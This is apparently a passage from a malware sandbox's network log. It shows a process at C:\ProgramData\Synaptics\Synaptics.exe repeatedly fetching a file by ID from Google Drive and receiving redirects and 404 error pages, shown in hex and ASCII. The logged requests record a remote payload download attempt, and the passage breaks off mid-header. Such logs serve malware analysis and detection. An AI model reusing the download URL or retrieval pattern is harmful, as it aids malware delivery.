2024-08-22 11:10:41 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-08-22 11:10:41 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 56 77 6c 35 50 65 47 36 4d 5f 4b 4e 38 4a 71 4a 4a 76 46 38 4b 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="Vwl5PeG6M_KN8JqJJvF8KA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-08-22 11:10:41 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.8	49788	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:41 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=rCc0QtacRxNTiNk6qKKNMTOjhjhJCqfirJwWzdCRzRrME7dwzoPCSbIinVVjHLpdB9Ia8cQRRvIAywD3cziWatk1LcrZKlpvosVvcwYW-smRFbxdWMC0qg2E4wihwDUYGk2yKt1mv0gO3_I9QirqUJPuH-ofWtkQkEIGUh-3eJ8
2024-08-22 11:10:41 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:41 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-HMfEnbsaqw3mwWHu_Wuuig' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.8	49791	216.58.212.129	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:41 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:10:42 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:41 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-YvF4tVFFU4zRdpFHyCqnPg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Length: 1642 X-GUploader-UploadID: AHxI1nM-0yzZ4poP4CqtvSDnRUoJyO87ueqE8JIjafdduh1oIYmqlHEuug92JdhCNgB-36-b31g Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-22 11:10:42 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-08-22 11:10:42 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 58 38 39 31 6c 47 53 53 38 5a 73 6a 34 37 6a 4b 45 42 45 77 5a 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="X891lGSS8Zsj47jKEBEwZw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-08-22 11:10:42 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.8	49792	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:42 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=rCc0QtacRxNTiNk6qKKNMTOjhjhJCqfirJwWzdCRzRrME7dwzoPCSbIinVVjHLpdB9Ia8cQRRvIAywD3cziWatk1LcrZKlpvosVvcwYW-smRFbxdWMC0qg2E4wihwDUYGk2yKt1mv0gO3_I9QirqUJPuH-ofWtkQkEIGUh-3eJ8
2024-08-22 11:10:42 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:42 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-0k1iFBHHVxYlsee36gbM7g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.8	49794	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:42 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=rCc0QtacRxNTiNk6qKKNMTOjhjhJCqfirJwWzdCRzRrME7dwzoPCSbIinVVjHLpdB9Ia8cQRRvIAywD3cziWatk1LcrZKlpvosVvcwYW-smRFbxdWMC0qg2E4wihwDUYGk2yKt1mv0gO3_I9QirqUJPuH-ofWtkQkEIGUh-3eJ8
2024-08-22 11:10:42 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:42 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-hkKbqqE701ka6fpXzA6pJw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.8	49793	216.58.212.129	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:42 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:10:42 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:42 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-izLHJgQYtJW7IApoOs4Z0Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1642 X-GUploader-UploadID: AHxI1nPZE_fG1zBq_5847CFBF5oxjGSajU9aS_0wHTQ-rQtfUzYzxFLu1xus210GGMt_UJKShBk Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-22 11:10:42 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-08-22 11:10:42 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 38 4d 59 4a 7a 49 66 62 34 61 56 49 54 4d 73 38 65 4a 6d 6f 56 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="8MYJzIfb4aVITMs8eJmoVQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-08-22 11:10:42 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.8	49795	216.58.212.129	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:42 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:10:43 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:43 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-8Q75ymAAId0tEqfgelshKw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1642 X-GUploader-UploadID: AHxI1nODSuGhxCq9H4Z1gIRobILsltP2fhDyBPbfehxsPKe809S0F-smlHiS9uk5Sf-tb9reiKI Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-22 11:10:43 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-08-22 11:10:43 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6f 78 38 49 30 55 5a 58 33 74 62 2d 73 53 31 6c 70 48 67 51 4b 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="ox8I0UZX3tb-sS1lpHgQKA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-08-22 11:10:43 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.8	49797	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:43 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=rCc0QtacRxNTiNk6qKKNMTOjhjhJCqfirJwWzdCRzRrME7dwzoPCSbIinVVjHLpdB9Ia8cQRRvIAywD3cziWatk1LcrZKlpvosVvcwYW-smRFbxdWMC0qg2E4wihwDUYGk2yKt1mv0gO3_I9QirqUJPuH-ofWtkQkEIGUh-3eJ8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.8	49798	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:43 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=rCc0QtacRxNTiNk6qKKNMTOjhjhJCqfirJwWzdCRzRrME7dwzoPCSbIinVVjHLpdB9Ia8cQRRvIAywD3cziWatk1LcrZKlpvosVvcwYW-smRFbxdWMC0qg2E4wihwDUYGk2yKt1mv0gO3_I9QirqUJPuH-ofWtkQkEIGUh-3eJ8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.8	49799	216.58.212.129	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:43 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.8	49804	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:44 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=rCc0QtacRxNTiNk6qKKNMTOjhjhJCqfirJwWzdCRzRrME7dwzoPCSbIinVVjHLpdB9Ia8cQRRvIAywD3cziWatk1LcrZKlpvosVvcwYW-smRFbxdWMC0qg2E4wihwDUYGk2yKt1mv0gO3_I9QirqUJPuH-ofWtkQkEIGUh-3eJ8
2024-08-22 11:10:44 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:44 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-0mUsidHdyCQplLH175K2QQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, 